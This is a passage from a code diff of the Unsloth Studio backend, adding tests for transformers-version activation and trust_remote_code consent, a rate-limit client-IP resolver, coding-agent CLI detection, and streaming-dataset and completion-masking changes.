monkeypatch.setattr(mc, "_env_offline", lambda: env_offline["v"]) + + seen = [] + + def _probe( + name, + hf_token = None, + local_files_only = False, + ): + seen.append(local_files_only) + return (None, True) if local_files_only else ("snac", True) + + monkeypatch.setattr(mc, "_detect_audio_from_tokenizer", _probe) + + # Env offline + default kwarg -> probe runs offline; None cached under the offline key. + assert mc.detect_audio_type("some/audio-model") is None + assert seen == [True] + # Env var cleared: a fresh online probe must re-run (different key) and detect. + env_offline["v"] = False + assert mc.detect_audio_type("some/audio-model") == "snac" + assert seen == [True, False] + mc._audio_detection_cache.clear() + + +class TestEnvOfflineParsing: + """_env_offline accepts the canonical truthy set (strip+lower, on/true/yes/1); it gates + the requests.get fallback and the cache keys, so 'on' or ' 1 ' must still count as offline.""" + + def test_truthy_values_recognized(self, monkeypatch): + import utils.models.model_config as mc + for var in ("HF_HUB_OFFLINE", "TRANSFORMERS_OFFLINE"): + for val in ("1", "true", "TRUE", "yes", "Yes", "on", "ON", " 1 ", " on ", "\ttrue\n"): + monkeypatch.delenv("HF_HUB_OFFLINE", raising = False) + monkeypatch.delenv("TRANSFORMERS_OFFLINE", raising = False) + monkeypatch.setenv(var, val) + assert mc._env_offline() is True, f"{var}={val!r} should be offline" + + def test_falsy_values_not_offline(self, monkeypatch): + import utils.models.model_config as mc + + monkeypatch.delenv("HF_HUB_OFFLINE", raising = False) + monkeypatch.delenv("TRANSFORMERS_OFFLINE", raising = False) + assert mc._env_offline() is False + for val in ("", "0", "false", "no", "off", "2", "onn"): + monkeypatch.setenv("HF_HUB_OFFLINE", val) + assert mc._env_offline() is False, f"HF_HUB_OFFLINE={val!r} should not be offline" diff --git a/studio/backend/tests/test_worker_activates_correct_transformers.py b/studio/backend/tests/test_worker_activates_correct_transformers.py new file mode 100644 index 0000000000..fe7b8dd25a --- /dev/null +++ b/studio/backend/tests/test_worker_activates_correct_transformers.py @@ -0,0 +1,155 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Invariant: after the training worker runs its preflight and then activates the transformers +sidecar, the in-process ``transformers`` must be the sidecar version the model requires -- not the +default 4.57.x that the base environment ships. + +The CPU-only "does it choose the correct transformers version" guard, stronger than the pure +import-order check in ``test_training_worker_import_discipline.py``: it runs the REAL tier detection +(``get_transformers_tier``) and REAL activation (``activate_transformers_for_subprocess``) for a +transformers-5.x model (Qwen3.5, tier 530) and asserts the version actually switched. It catches the +whole failure family at once: + + * a stale pre-activation ``transformers`` import (the #6951 / ``TokenizersBackend`` regression: an + already-cached 4.57.x defeats the sidecar's ``sys.path`` prepend), + * a wrong tier selected for a 5.x model, and + * activation not actually swapping the resident module. + +Why the CUDA spoof matters (verified): ``unsloth_zoo``'s eager ``import transformers`` only happens on +its full, GPU-present init path. On a GPU-less runner it silently degrades and never preloads +transformers -- which would MASK the stale-import bug (the check would falsely pass). Spoofing +``torch.cuda`` so ``unsloth_zoo`` believes a GPU is present forces the real init path, exposing the +regression on CPU CI. The spoof mirrors ``tests/_zoo_aggressive_cuda_spoof.py`` but is inlined so the +test is self-contained in the ``studio-backend-ci`` matrix (whose conftest does not apply the shared +spoof). No GPU/network/weights/real sidecar needed: a one-line stub sidecar stands in for the 5.x venv, +so we only assert activation lands on it. + +Proven: passes on the fixed tree (active == 5.3.0) and fails on the buggy tree (active == 4.57.x) on +a simulated GPU-less runner. +""" + +from __future__ import annotations + +import subprocess +import sys +from pathlib import Path + +_BACKEND_DIR = Path(__file__).resolve().parent.parent # studio/backend +# Canonical CUDA spoof at the repo root (studio/backend -> studio -> repo root). Loaded by the +# subprocess when present (matches the consolidated CI); absent in a standalone studio checkout, where +# the subprocess falls back to a minimal inline spoof. +_SPOOF_PATH = _BACKEND_DIR.parent.parent / "tests" / "_zoo_aggressive_cuda_spoof.py" + +# Runs in a fresh interpreter with cwd == studio/backend so ``utils.*`` resolves like the worker. +# STUB_HOME (a pytest tmp dir) holds a throwaway ``.venv_t5_530`` sidecar exporting transformers 5.3.0. +_SNIPPET = r""" +import os, sys +sys.path.insert(0, os.getcwd()) + +# CUDA spoof so unsloth_zoo takes its full, transformers-importing init path on a GPU-less runner. +# Without it unsloth_zoo degrades and never preloads transformers, which would MASK the stale-import +# regression under test (verified). Prefer the repo's canonical spoof (single source of truth, and the +# one the consolidated CI already relies on); fall back to a minimal inline spoof so this also works in +# a standalone studio checkout. If torch is absent the fixed tree still passes below; the bug just +# would not be exposable in that shard. +try: + import torch # noqa: F401 + _sp = os.environ.get("SPOOF_PATH") + if _sp and os.path.exists(_sp): + import importlib.util + _spec = importlib.util.spec_from_file_location("_zoo_aggressive_cuda_spoof", _sp) + _mod = importlib.util.module_from_spec(_spec) + _spec.loader.exec_module(_mod) + _mod.apply() + else: + torch.cuda.is_available = lambda: True + torch.cuda.device_count = lambda: 1 + torch.cuda.current_device = lambda: 0 + torch.cuda.get_device_capability = lambda *a, **k: (8, 0) + torch.cuda.get_device_name = lambda *a, **k: "NVIDIA A100-SPOOFED" + torch.cuda.is_bf16_supported = lambda *a, **k: True + class _Props: + name = "NVIDIA A100-SPOOFED" + major = 8 + minor = 0 + total_memory = 80 * 1024**3 + multi_processor_count = 108 + torch.cuda.get_device_properties = lambda *a, **k: _Props() + torch.cuda.mem_get_info = lambda *a, **k: (0, 80 * 1024**3) +except Exception: + pass +os.environ["UNSLOTH_IS_PRESENT"] = "1" + +# Stub 5.x sidecar: activation only edits sys.path, so a package that merely exports __version__ is +# enough to prove the resident transformers switched to it. +home = os.environ["STUB_HOME"] +pkg = os.path.join(home, ".venv_t5_530", "transformers") +os.makedirs(pkg, exist_ok = True) +with open(os.path.join(pkg, "__init__.py"), "w") as f: + f.write('__version__ = "5.3.0"\n') +os.environ["UNSLOTH_STUDIO_HOME"] = home + +# Faithful worker preflight (worker.py: from utils.hf_xet_fallback import child_should_disable_xet). +# This is the exact stale-import trigger: on the buggy tree it pulls unsloth_zoo -> transformers 4.57.x +# into sys.modules BEFORE activation. +from utils.hf_xet_fallback import child_should_disable_xet +child_should_disable_xet({}) +_tf = sys.modules.get("transformers") +preload = _tf.__version__ if _tf is not None else None + +# Real tier detection + real activation, with the 530 sidecar pointed at the stub above. +import utils.transformers_version as tv +tv._VENV_T5_530_DIR = os.path.join(home, ".venv_t5_530") +tv._ensure_venv_t5_530_exists = lambda: True +tier = tv.get_transformers_tier("Qwen/Qwen3.5-9B", None) +tv.activate_transformers_for_subprocess("Qwen/Qwen3.5-9B", None) + +import transformers +print(f"RESULT tier={tier} preload={preload} active={transformers.__version__}") +""" + + +def _parse(stdout: str) -> dict[str, str]: + for line in stdout.splitlines(): + if line.startswith("RESULT "): + return dict(kv.split("=", 1) for kv in line.split()[1:]) + return {} + + +def test_worker_activates_correct_transformers_version(tmp_path): + """The worker's real preflight + activation for a transformers-5.x model (Qwen3.5, tier 530) must + leave the in-process ``transformers`` on the 5.x sidecar. A stale pre-activation import leaves the + default 4.57.x pinned and fails this assertion -- exactly the #6951 ``TokenizersBackend`` regression.""" + result = subprocess.run( + [sys.executable, "-c", _SNIPPET], + cwd = str(_BACKEND_DIR), + env = { + **__import__("os").environ, + "STUB_HOME": str(tmp_path), + **({"SPOOF_PATH": str(_SPOOF_PATH)} if _SPOOF_PATH.exists() else {}), + }, + capture_output = True, + text = True, + ) + assert result.returncode == 0, ( + "Worker preflight + activation harness crashed.\n" + f"STDOUT:\n{result.stdout}\nSTDERR:\n{result.stderr}" + ) + parsed = _parse(result.stdout) + assert parsed, f"No RESULT line.\nSTDOUT:\n{result.stdout}\nSTDERR:\n{result.stderr}" + + # Correct tier chosen for a transformers-5.x model (pure, deterministic; no network/GPU). + assert parsed["tier"] == "530", ( + f"Wrong transformers tier for Qwen3.5 (expected 530, got {parsed['tier']}). " + "Tier detection regressed." + ) + + # Activation must actually swap the resident transformers to the sidecar version. If a preflight + # import cached 4.57.x first, the sidecar prepend is a no-op and this stays 4.57.x -- the bug. + assert parsed["active"] == "5.3.0", ( + "Sidecar activation did NOT switch the in-process transformers to the model's 5.x version " + f"(active={parsed['active']}, preloaded-before-activation={parsed['preload']}). A pre-activation " + "transformers import (directly or via unsloth_zoo) defeated the sidecar; 5.x models (Qwen3.5, " + "GLM-4.7, gemma-4) then fail with 'Tokenizer class TokenizersBackend does not exist'. See #6951." + ) diff --git a/studio/backend/tests/test_yaml_trust_remote_code_removed.py b/studio/backend/tests/test_yaml_trust_remote_code_removed.py new file mode 100644 index 0000000000..9578f08420 --- /dev/null +++ b/studio/backend/tests/test_yaml_trust_remote_code_removed.py @@ -0,0 +1,163 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Regression: model-default YAMLs must not pre-set trust_remote_code. + +It is a per-load decision made through the consent dialog (which scans and pins the +auto_map code), never a config default -- a YAML flag would re-open the no-review +bypass. Models that run custom code ship auto_map, so the dialog still fires without it. +""" + +from pathlib import Path + +import yaml + +_CONFIGS = Path(__file__).resolve().parent.parent / "assets" / "configs" +_MODEL_DEFAULTS = _CONFIGS / "model_defaults" + + +def test_no_model_default_yaml_sets_trust_remote_code(): + offenders = [] + for f in _MODEL_DEFAULTS.rglob("*.yaml"): + doc = yaml.safe_load(f.read_text()) or {} + if not isinstance(doc, dict): + continue + for section, body in doc.items(): + if isinstance(body, dict) and "trust_remote_code" in body: + offenders.append( + f"{f.relative_to(_CONFIGS)} [{section}={body['trust_remote_code']}]" + ) + assert not offenders, ( + "trust_remote_code must not be pre-set in model defaults; it is enabled only via " + f"the consent dialog. Remove it from: {offenders}" + ) + + +def test_no_model_default_yaml_has_empty_or_none_section(): + # A bare `inference:` header (no keys) parses to None and crashes the .get() loaders. + offenders = [] + for f in _MODEL_DEFAULTS.rglob("*.yaml"): + doc = yaml.safe_load(f.read_text()) + if not isinstance(doc, dict): + offenders.append(f"{f.relative_to(_CONFIGS)} (not a mapping)") + continue + for section, body in doc.items(): + if body is None or (isinstance(body, dict) and not body): + offenders.append(f"{f.relative_to(_CONFIGS)} [{section}]") + assert not offenders, ( + "empty/None YAML section would crash the config loaders; drop the bare section " + f"header instead. Offending: {offenders}" + ) + + +def test_formerly_flagged_models_load_inference_config_without_crash(): + # Models whose inference section was emptied by the TRC removal must still load. + from utils.inference import load_inference_config + for model in ( + "tiiuae/Falcon-H1-0.5B-Instruct", + "unsloth/Llama-3.2-1B-Instruct", + "unsloth/Qwen2.5-7B", + ): + cfg = load_inference_config(model) + assert isinstance(cfg, dict) + assert cfg.get("trust_remote_code", False) is False + + +def test_all_model_yamls_load_for_training_and_inference(): + # Every YAML must load through both config paths (training + inference) as the routes do. + from utils.inference import load_inference_config + from utils.models.model_config import load_model_defaults + + infer_keys = { + "temperature", + "top_p", + "top_k", + "min_p", + "presence_penalty", + "trust_remote_code", + } + failures = [] + for f in sorted(_MODEL_DEFAULTS.rglob("*.yaml")): + stem = f.stem + try: + md = load_model_defaults(stem) + assert isinstance(md, dict), f"load_model_defaults -> {type(md).__name__}" + assert not [k for k, v in md.items() if v is None], "has a None section" + # the dict sections the loaders read via .get('sect', {}).get(...) + for sect in ("training", "inference", "lora", "logging"): + assert isinstance(md.get(sect, {}), dict), f"{sect!r} is not a mapping" + md.get("training", {}).get("trust_remote_code", False) # routes/training.py:263 + cfg = load_inference_config(stem) + assert infer_keys <= set(cfg), f"inference config missing {infer_keys - set(cfg)}" + except Exception as e: # noqa: BLE001 - aggregate so one failure does not hide others + failures.append(f"{f.relative_to(_CONFIGS)}: {type(e).__name__}: {e}") + assert not failures, "YAML config loaders crashed on: " + "; ".join(failures) + + +def test_base_templates_have_no_trust_remote_code(): + for name in ("full_finetune.yaml", "lora_text.yaml", "vision_lora.yaml"): + doc = yaml.safe_load((_CONFIGS / name).read_text()) or {} + flat = yaml.safe_dump(doc) + assert "trust_remote_code" not in flat, f"{name} should not set trust_remote_code" + + +def test_loader_defaults_trust_remote_code_off_for_formerly_flagged_models(): + # The 4 models that used to ship trust_remote_code: true must now report no default. + from utils.models.model_config import load_model_defaults + for model in ( + "unsloth/GLM-4.7-Flash", + "unsloth/Nemotron-3-Nano-30B-A3B", + "unsloth/PaddleOCR-VL", + "unsloth/ERNIE-4.5-VL-28B-A3B-PT", + ): + d = load_model_defaults(model) + for section in ("training", "inference"): + assert not (d.get(section) or {}).get( + "trust_remote_code", False + ), f"{model} [{section}] still carries a trust_remote_code default" + + +def test_formerly_flagged_auto_map_models_still_require_consent_dialog(): + # Crux: an auto_map model must STILL surface the dialog (driven by auto_map, not the + # YAML flag). Real backend path, mocking only the Hub json + .py fetch. + from unittest.mock import patch + from utils.security import consent, preflight_remote_code_consent_for_targets + + auto_map_cfg = [ + { + "auto_map": { + "AutoConfig": "configuration_x.XConfig", + "AutoModelForCausalLM": "modeling_x.XForCausalLM", + } + } + ] + benign_py = {"modeling_x.py": "class XForCausalLM:\n pass\n"} + for model in ( + "unsloth/Nemotron-3-Nano-30B-A3B", + "unsloth/PaddleOCR-VL", + "unsloth/ERNIE-4.5-VL-28B-A3B-PT", + ): + with ( + patch.object(consent, "_load_remote_code_configs", return_value = auto_map_cfg), + patch.object(consent, "repo_remote_code_files", return_value = benign_py), + ): + decision = preflight_remote_code_consent_for_targets([model], hf_token = None) + # routes/models.py opens the dialog from decision.has_remote_code. + assert decision.has_remote_code is True, ( + f"{model} ships auto_map but the consent scan did not flag it -> dialog would " + "not fire" + ) + + +def test_no_auto_map_model_takes_no_dialog(): + # Flip side: GLM-4.7-Flash ships no auto_map -> no dialog; its old YAML flag was a no-op. + from unittest.mock import patch + from utils.security import consent, preflight_remote_code_consent_for_targets + + with patch.object( + consent, "_load_remote_code_configs", return_value = [{"model_type": "glm4_moe_lite"}] + ): + decision = preflight_remote_code_consent_for_targets( + ["unsloth/GLM-4.7-Flash"], hf_token = None + ) + assert decision.has_remote_code is False diff --git a/studio/backend/utils/api_errors.py b/studio/backend/utils/api_errors.py index b1c55b61b9..cae8daf287 100644 --- a/studio/backend/utils/api_errors.py +++ b/studio/backend/utils/api_errors.py @@ -125,6 +125,12 @@ def is_anthropic_path(path: str) -> bool: return path.startswith("/v1/messages") +def wants_api_error_envelope(path: str) -> bool: + """True for the OpenAI/Anthropic-compatible surfaces: the ``/v1/*`` mount and + the preview ``/p/[/]/v1/*`` mount.""" + return path.startswith("/v1/") or (path.startswith("/p/") and "/v1/" in path) + + def error_body_for_path( path, message, @@ -183,15 +189,16 @@ def _summarize_validation_errors(errors) -> tuple: def install_api_error_handlers(app) -> None: """Register validation + HTTPException handlers that emit ``/v1/*`` envelopes. - Both handlers are global but only transform responses for paths starting with - ``/v1/``. Non-``/v1/`` paths reproduce FastAPI's default ``{"detail": ...}`` - behavior exactly so the Studio frontend keeps working. + Both handlers are global but only transform responses for OpenAI/Anthropic- + compatible surfaces (see :func:`wants_api_error_envelope`: the ``/v1/*`` mount + and the preview ``/p/.../v1/*`` mount). Every other path reproduces FastAPI's + default ``{"detail": ...}`` behavior exactly so the Studio frontend keeps working. """ @app.exception_handler(RequestValidationError) async def _handle_validation_error(request, exc): path = request.url.path - if path.startswith("/v1/"): + if wants_api_error_envelope(path): summary, param = _summarize_validation_errors(exc.errors()) return JSONResponse( status_code = 400, @@ -211,7 +218,7 @@ def install_api_error_handlers(app) -> None: # default http_exception_handler, which returns a bodiless Response. if not is_body_allowed_for_status_code(exc.status_code): return Response(status_code = exc.status_code, headers = headers) - if path.startswith("/v1/"): + if wants_api_error_envelope(path): detail = exc.detail # Already a fully-formed envelope: pass through untouched. if isinstance(detail, dict) and ("error" in detail or detail.get("type") == "error"): diff --git a/studio/backend/utils/client_ip.py b/studio/backend/utils/client_ip.py new file mode 100644 index 0000000000..94acbf1809 --- /dev/null +++ b/studio/backend/utils/client_ip.py @@ -0,0 +1,71 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Resolve the caller's IP for rate limiting. + +Trust model, in order: + 1. If the operator opts in via ``UNSLOTH_STUDIO_TRUST_FORWARDED`` (Studio behind + their own reverse proxy), honor the *rightmost* ``X-Forwarded-For`` hop -- the + one the trusted proxy appended. The leftmost entry is client-controlled and + spoofable, so this assumes a proxy that appends (or overwrites) the header; + only enable the env var behind such a proxy. + 2. If the socket peer is loopback, honor ``CF-Connecting-IP``. Studio's managed + Cloudflare tunnel terminates at 127.0.0.1, so every tunneled visitor would + otherwise collapse onto the same socket peer (the local cloudflared process) + and share one rate-limit bucket. ``CF-Connecting-IP`` is set by Cloudflare's + edge and can't be forged by a tunneled client. + 3. Otherwise the socket peer, so a direct LAN caller can't spoof a header to + dodge a per-IP limit. +""" + +from __future__ import annotations + +import ipaddress +import os + +_TRUST_FORWARDED_ENV = "UNSLOTH_STUDIO_TRUST_FORWARDED" + + +def _trust_forwarded_for() -> bool: + return os.environ.get(_TRUST_FORWARDED_ENV, "").strip().lower() in {"1", "true", "yes"} + + +def _is_loopback(host: str | None) -> bool: + try: + return bool(host) and ipaddress.ip_address(host).is_loopback + except ValueError: + return False + + +def _normalize_addr(value: str | None) -> str | None: + """Parse an ``X-Forwarded-For`` entry into a bare, validated IP (strip port/brackets).""" + raw = (value or "").strip().strip('"') + if not raw: + return None + if raw.startswith("["): # [ipv6]:port + raw = raw[1:].split("]", 1)[0] + elif raw.count(":") == 1: # ipv4:port + raw = raw.split(":", 1)[0] + try: + return ipaddress.ip_address(raw).compressed + except ValueError: + return None + + +def client_ip(request) -> str: + """Best-effort client IP, or ``"_unknown"`` when it can't be determined.""" + if request is None: + return "_unknown" + peer = request.client.host if request.client else None + if _trust_forwarded_for(): + # Rightmost hop = what the trusted proxy saw; the leftmost is spoofable. + xff = request.headers.get("x-forwarded-for", "") + if xff: + normalized = _normalize_addr(xff.rsplit(",", 1)[-1]) + if normalized: + return normalized + if _is_loopback(peer): + cf = _normalize_addr(request.headers.get("cf-connecting-ip")) + if cf: + return cf + return peer or "_unknown" diff --git a/studio/backend/utils/coding_agents.py b/studio/backend/utils/coding_agents.py new file mode 100644 index 0000000000..f7dd2f8357 --- /dev/null +++ b/studio/backend/utils/coding_agents.py @@ -0,0 +1,39 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Detect which `unsloth start ` coding-agent CLIs are on PATH. + +The web UI only ever shows the user the "claude" flavor of the `unsloth start` +command (see agent-command.ts), leaving anyone using Codex, OpenCode, and the +other supported agents to manually edit the copied command. This module gives +the frontend a way to ask which of those CLIs are actually installed so it can +default to one the user can run immediately. +""" + +import shutil + +# Keep in sync with the `unsloth start ` subcommands defined in +# unsloth_cli/commands/start.py. Each entry is the exact executable name that +# subcommand launches, so a hit here means `unsloth start ` can find the +# binary on PATH without the user installing anything first. +CODING_AGENTS: tuple[str, ...] = ("claude", "codex", "openclaw", "opencode", "hermes", "pi") + + +def _is_on_path(agent: str) -> bool: + # shutil.which is documented to return None on a miss, but PATH lookups can + # still raise (e.g. a permission error while probing a directory entry); + # this is an advisory check, so a lookup failure should read as "not + # installed" instead of breaking the settings endpoint. + try: + return shutil.which(agent) is not None + except OSError: + return False + + +def detect_installed_coding_agents() -> list[str]: + """Return the subset of CODING_AGENTS whose CLI binary is on PATH. + + Order follows CODING_AGENTS, not discovery order, so callers can treat the + first entry as the preferred default among the installed agents. + """ + return [agent for agent in CODING_AGENTS if _is_on_path(agent)] diff --git a/studio/backend/utils/datasets/chat_templates.py b/studio/backend/utils/datasets/chat_templates.py index 82a30fd55b..1da0bb818f 100644 --- a/studio/backend/utils/datasets/chat_templates.py +++ b/studio/backend/utils/datasets/chat_templates.py @@ -7,6 +7,7 @@ Apply chat templates to datasets and generate dataset info summaries. """ from .format_detection import detect_dataset_format, detect_multimodal_dataset, detect_custom_format_heuristic +from .iterable import is_streaming_dataset from .model_mappings import MODEL_TO_TEMPLATE_MAPPER from loggers import get_logger logger = get_logger(__name__) @@ -238,7 +239,13 @@ def apply_chat_template_to_dataset( return result try: - dataset = dataset.map(_apply_custom_mapping, batched = True, batch_size = batch_size) + # Mirror the other call sites: omit eager-only kwargs (num_proc/desc) + # for streaming IterableDatasets, whose .map() rejects them. + custom_map_kwargs = {"batched": True, "batch_size": batch_size} + if not is_streaming_dataset(dataset): + custom_map_kwargs["desc"] = "Applying custom ChatML mapping" + dataset = dataset.map(_apply_custom_mapping, **custom_map_kwargs) + # Update to use conversations format final_format = "chatml_conversations" chat_column = "conversations" is_standardized = True @@ -295,13 +302,9 @@ def apply_chat_template_to_dataset( 'batch_size': batch_size, } - try: - from torch.utils.data import IterableDataset - _is_torch_iterable = isinstance(dataset, IterableDataset) - except ImportError: - _is_torch_iterable = False + is_iterable = is_streaming_dataset(dataset) - if not _is_torch_iterable: + if not is_iterable: from utils.hardware import dataset_map_num_proc if num_proc is None or type(num_proc) is not int: num_proc = dataset_map_num_proc() @@ -362,18 +365,14 @@ def apply_chat_template_to_dataset( return {"text": texts} try: - try: - from torch.utils.data import IterableDataset - _is_torch_iterable = isinstance(dataset, IterableDataset) - except ImportError: - _is_torch_iterable = False + is_iterable = is_streaming_dataset(dataset) dataset_map_kwargs = { 'batched': True, 'batch_size': batch_size, } - if not _is_torch_iterable: + if not is_iterable: from utils.hardware import dataset_map_num_proc if num_proc is None or type(num_proc) is not int: num_proc = dataset_map_num_proc() @@ -384,7 +383,7 @@ def apply_chat_template_to_dataset( # Monitor dataset.map() tqdm progress and relay it. _tqdm_monitor_stop = None - if progress_callback and not _is_torch_iterable: + if progress_callback and not is_iterable: import threading from tqdm.auto import tqdm as _tqdm_cls diff --git a/studio/backend/utils/datasets/completion_masking.py b/studio/backend/utils/datasets/completion_masking.py new file mode 100644 index 0000000000..c7c4a474e3 --- /dev/null +++ b/studio/backend/utils/datasets/completion_masking.py @@ -0,0 +1,144 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Completion-only masking policy shared by the CUDA and MLX training paths. + +Decides how train_on_responses_only is applied for a model: chat template +auto-detection first, manual TEMPLATE_TO_RESPONSES_MAPPER markers as the +fallback. gpt-oss included: its quantized checkpoints ship a different +chat template, so only detection from the actual template is reliable. +""" + +from .model_mappings import ( + MODEL_TO_TEMPLATE_MAPPER, + TEMPLATE_TO_RESPONSES_MAPPER, + is_gpt_oss_model_name, +) + + +def lookup_manual_markers(model_name): + """Return (template_name, instruction_part, response_part) from the + manual template table, with None parts when the model or template is + not mapped.""" + template = MODEL_TO_TEMPLATE_MAPPER.get((model_name or "").lower()) + markers = TEMPLATE_TO_RESPONSES_MAPPER.get(template) if template else None + if markers: + return template, markers["instruction"], markers["response"] + return template, None, None + + +def apply_completion_masking( + trainer, + model_name, + train_fn, + num_proc = None, + notify = None, + detect_fn = None, +): + """Apply completion-only masking with auto-detection first and the manual + template table as fallback. + + Args: + trainer: The platform trainer (SFTTrainer or MLXTrainer). + model_name: Model repo id used for table lookup and the gpt-oss + renamed-checkpoint fallback. + train_fn: The platform train_on_responses_only callable. + num_proc: Forwarded to train_fn when not None (CUDA path only). + notify: Optional callback notify(level, message) with level "info" or + "warning" for user-visible progress and warnings. + detect_fn: Marker detector (tokenizer/processor) -> (instruction_part, + response_part). Defaults to unsloth_zoo's get_chat_template_parts, + which raises loudly when the template cannot be parsed. Test seam. + + Returns: + (trainer, applied): the possibly wrapped trainer and whether masking + was applied. When applied is False the trainer is unchanged and + training runs on full sequences. + + Only marker DETECTION failures trigger the table fallback. Exceptions + raised while applying the masking (dataset map, tokenization) propagate + to the caller in both the auto and manual paths, so a real failure stops + the run instead of silently changing the training objective. + """ + if notify is None: + notify = lambda level, message: None + kwargs = {} + if num_proc is not None: + kwargs["num_proc"] = num_proc + + template, instruction_part, response_part = lookup_manual_markers(model_name) + + # gpt-oss goes auto-first: quantized/BF16 checkpoints ship a channel-less + # template, so the manual markers match nothing (zero tokens trained). Auto + # derives markers from whichever template ships, and per the harmony format + # only the final terminator carries stop supervision. Renamed checkpoints + # miss the exact-name table, so give the fallback the gpt-oss markers. + if is_gpt_oss_model_name(model_name) and not (instruction_part and response_part): + markers = TEMPLATE_TO_RESPONSES_MAPPER.get("gpt-oss") + if markers: + template = "gpt-oss" + instruction_part = markers["instruction"] + response_part = markers["response"] + processor = getattr(trainer, "processing_class", None) or getattr(trainer, "tokenizer", None) + # mlx-lm TokenizerWrapper hides underscore attrs, so preset _unsloth_* + # markers are invisible through it. Unwrap to the real tokenizer (as + # zoo's MLX resolver does) before the preset check and detection. + if type(processor).__name__ == "TokenizerWrapper": + wrapped = getattr(processor, "_tokenizer", None) + if wrapped is not None: + processor = wrapped + inner = getattr(processor, "tokenizer", processor) + if hasattr(inner, "_unsloth_input_part") and hasattr(inner, "_unsloth_output_part"): + # Markers preset on the tokenizer; zoo reuses them on a bare call. + trainer = train_fn(trainer, **kwargs) + notify( + "info", + "Train on responses only configured via tokenizer preset markers", + ) + return trainer, True + auto_instruction = auto_response = None + try: + if detect_fn is None: + # Torch-backed import is fine: the MLX train_fn itself requires + # unsloth_zoo.dataset_utils, so a torch-free host cannot mask either way. + from unsloth_zoo.dataset_utils import get_chat_template_parts as detect_fn + auto_instruction, auto_response = detect_fn(processor) + except Exception as e: + notify( + "warning", + f"Auto-detection of instruction/response markers failed ({e}); " + f"falling back to the template table", + ) + if auto_instruction and auto_response: + trainer = train_fn( + trainer, + instruction_part = auto_instruction, + response_part = auto_response, + **kwargs, + ) + notify( + "info", + "Train on responses only configured via chat template auto-detection", + ) + return trainer, True + + if instruction_part and response_part: + trainer = train_fn( + trainer, + instruction_part = instruction_part, + response_part = response_part, + **kwargs, + ) + notify( + "info", + f"Train on responses only configured with template table markers ({template})", + ) + return trainer, True + + notify( + "warning", + f"'Train on completions' could not be applied for {model_name}: no " + f"auto-detected or mapped instruction/response markers. Training " + f"will run on full sequences (prompts included).", + ) + return trainer, False diff --git a/studio/backend/utils/datasets/dataset_utils.py b/studio/backend/utils/datasets/dataset_utils.py index faa3deac70..f81a20ad6e 100644 --- a/studio/backend/utils/datasets/dataset_utils.py +++ b/studio/backend/utils/datasets/dataset_utils.py @@ -1203,7 +1203,10 @@ def format_and_template_dataset( requires_manual = dataset_info.get("requires_manual_mapping", False) if final_format == "unknown" and template_result["success"]: out_ds = template_result["dataset"] - if hasattr(out_ds, "column_names") and "text" in out_ds.column_names: + # IterableDataset.column_names can be None after .map() loses features; + # guard to avoid `"text" in None` -> TypeError on streaming datasets. + out_columns = getattr(out_ds, "column_names", None) + if out_columns is not None and "text" in out_columns: final_format = "chatml_conversations" requires_manual = False diff --git a/studio/backend/utils/datasets/format_conversion.py b/studio/backend/utils/datasets/format_conversion.py index cb24bd96ba..95c9a00534 100644 --- a/studio/backend/utils/datasets/format_conversion.py +++ b/studio/backend/utils/datasets/format_conversion.py @@ -5,7 +5,7 @@ import os -from datasets import IterableDataset +from .iterable import is_streaming_dataset from loggers import get_logger logger = get_logger(__name__) @@ -37,9 +37,8 @@ def standardize_chat_format( """ import collections import itertools - from datasets import IterableDataset - # Detect a vision tokenizer + # Check if vision tokenizer is used is_vlm = False if tokenizer is not None: if hasattr(tokenizer, "image_processor") or hasattr(tokenizer, "tokenizer"): @@ -151,7 +150,7 @@ def standardize_chat_format( "batch_size": batch_size, } - if not isinstance(dataset, IterableDataset): + if not is_streaming_dataset(dataset): from utils.hardware import dataset_map_num_proc if num_proc is None or type(num_proc) is not int: @@ -162,7 +161,20 @@ def standardize_chat_format( dataset_map_kwargs["num_proc"] = num_proc dataset_map_kwargs["desc"] = "Standardizing chat format" - return dataset.map(_standardize_dataset, **dataset_map_kwargs) + result = dataset.map(_standardize_dataset, **dataset_map_kwargs) + + # For streaming, force the first mapped row through now so any + # column/format errors surface before training begins (not mid-iteration). + # IterableDataset re-iterates from the generator source, so this is safe. + if is_streaming_dataset(dataset): + try: + next(iter(result)) + except Exception as exc: + raise ValueError( + f"Streaming chat-format standardization failed on the first row: {exc}" + ) from exc + + return result def convert_chatml_to_alpaca( @@ -178,11 +190,7 @@ def convert_chatml_to_alpaca( - "messages" or "conversations" column - "role"/"content" (standard) or "from"/"value" (ShareGPT) """ - try: - from torch.utils.data import IterableDataset - _is_torch_iterable = isinstance(dataset, IterableDataset) - except ImportError: - _is_torch_iterable = False + is_iterable = is_streaming_dataset(dataset) def _convert(examples): chatml_data = examples.get(chat_column) if chat_column else None @@ -226,7 +234,7 @@ def convert_chatml_to_alpaca( "batch_size": batch_size, } - if not _is_torch_iterable: + if not is_iterable: from utils.hardware import dataset_map_num_proc if num_proc is None or type(num_proc) is not int: @@ -237,7 +245,20 @@ def convert_chatml_to_alpaca( dataset_map_kwargs["num_proc"] = num_proc dataset_map_kwargs["desc"] = "Converting ChatML to Alpaca format" - return dataset.map(_convert, **dataset_map_kwargs) + result = dataset.map(_convert, **dataset_map_kwargs) + + # For streaming, force the first mapped row through now so any + # column/format errors surface before training begins (not mid-iteration). + # IterableDataset re-iterates from the generator source, so this is safe. + if is_iterable: + try: + next(iter(result)) + except Exception as exc: + raise ValueError( + f"Streaming ChatML-to-Alpaca conversion failed on the first row: {exc}" + ) from exc + + return result def convert_alpaca_to_chatml( @@ -250,11 +271,7 @@ def convert_alpaca_to_chatml( Output: 'conversations' column with standard 'role'/'content' dicts. """ - try: - from torch.utils.data import IterableDataset - _is_torch_iterable = isinstance(dataset, IterableDataset) - except ImportError: - _is_torch_iterable = False + is_iterable = 